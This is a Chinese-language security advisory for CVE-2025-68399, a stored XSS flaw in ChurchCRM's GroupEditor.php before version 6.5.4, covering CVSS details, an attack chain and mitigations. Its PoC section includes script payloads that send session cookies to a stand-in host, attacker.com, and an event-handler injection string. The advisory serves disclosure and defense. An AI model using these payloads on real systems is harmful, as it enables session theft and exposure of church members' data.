IPBUF安全漏洞报告
English
CVE-2025-68399 CVSS 5.4 中危

CVE-2025-68399 ChurchCRM GroupEditor.php存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68399
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

CVE-2025-68399存储型XSS跨站脚本ChurchCRMGroupEditor.phpWeb应用安全教会管理系统

漏洞概述

ChurchCRM是一款开源教会管理系统,广泛应用于宗教组织的日常管理。在6.5.4之前的版本中,存在一处严重的安全漏洞,攻击者可以在GroupEditor.php页面注入恶意JavaScript代码。该漏洞属于存储型跨站脚本攻击(Stored XSS),恶意脚本会被永久存储在服务器端,当其他用户访问受污染的页面时,恶意代码会自动执行。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账户、执行未经授权的操作,甚至进一步进行横向渗透。漏洞的利用需要用户具有查看和修改组的权限,因此主要威胁来自内部具有组管理权限的用户。由于该漏洞影响教会管理系统,可能导致信徒个人信息泄露奉献记录等敏感数据外泄,对组织声誉和成员隐私造成严重影响。

技术细节

该漏洞位于ChurchCRM的GroupEditor.php页面,具体发生在组角色创建功能模块。攻击者通过在创建组角色的输入字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>,该脚本会被存储到数据库中。当其他具有组查看权限的用户访问GroupEditor.php页面时,服务器会从数据库读取包含恶意代码的组角色信息,并在页面中渲染输出,由于缺乏适当的输入验证和输出编码,恶意脚本得以在用户浏览器中执行。CVSS 3.1评分5.4的向量显示该漏洞可通过网络利用(AV:N),攻击复杂度低(AC:L),但需要低权限用户(PR:L)并需要用户交互(UI:R)。攻击成功可导致低度的机密性(C:L)和完整性(I:L)影响。修复方案已在版本6.5.4中实施,主要通过在输入端增加严格的输入验证,在输出端实施HTML实体编码来防止恶意脚本执行。

攻击链分析

STEP 1
侦察阶段
攻击者首先识别目标ChurchCRM版本,确认版本低于6.5.4。通过公开渠道获取系统信息或手动访问登录页面检测版本号。
STEP 2
获取访问权限
攻击者需要获取一个具有组管理权限的低权限账户。可以通过社会工程学攻击、凭证填充或利用其他低危漏洞获取有效账户凭据。
STEP 3
注入恶意脚本
使用获取的账户登录系统,导航至GroupEditor.php页面。在创建组角色时,在角色名称或描述字段中注入恶意JavaScript代码,如<script>标签或事件处理器属性。
STEP 4
脚本持久化
恶意脚本随表单提交存储到数据库中。由于是存储型XSS,恶意代码会永久存在于系统中,每次相关页面被访问时都会触发。
STEP 5
触发与利用
当具有组查看权限的其他用户访问GroupEditor.php或相关页面时,恶意脚本自动执行。攻击者可窃取用户会话Cookie、劫持账户或执行其他恶意操作。
STEP 6
横向移动
获取管理员会话后,攻击者可以提升权限、访问数据库中的敏感信息(如信徒个人信息、奉献记录),甚至在服务器上执行代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68399 PoC - ChurchCRM Stored XSS in GroupEditor.php // Author: Security Researcher // Target: ChurchCRM < 6.5.4 // Step 1: Authenticate with ChurchCRM using a low-privilege account with group management permissions // POST /session/login const loginPayload = { email: '[email protected]', password: 'password123' }; // Step 2: Navigate to GroupEditor.php and intercept the group role creation request // GET /GroupEditor.php?GroupID=<group_id> // Step 3: Inject malicious JavaScript in the group role name field // POST /GroupEditor.php const xssPayload = { GroupID: 1, Action: 'AddRole', // Stored XSS payload - will be executed when page is viewed RoleName: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', // Alternative payload - event handler RoleDescription: '" onmouseover="alert(document.domain)" x="' }; // Step 4: When other users visit GroupEditor.php, the XSS payload executes // The attacker's server receives the victim's cookies fetch('https://attacker.com/exploit', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, session: document.cookie.match(/CRM_SESSID=([^;]+)/)[1] }) });

影响范围

ChurchCRM < 6.5.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制GroupEditor.php页面的访问权限,仅允许绝对必要的管理员访问;2)实施严格的输入过滤规则,拒绝包含<script>标签、javascript:协议或事件处理器属性(如onerror、onload)的输入;3)部署WAF规则拦截XSS攻击载荷;4)监控日志中的异常请求模式;5)对高权限用户实施多因素认证;6)定期备份数据库以便发生安全事件时快速恢复。建议尽快完成版本升级以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表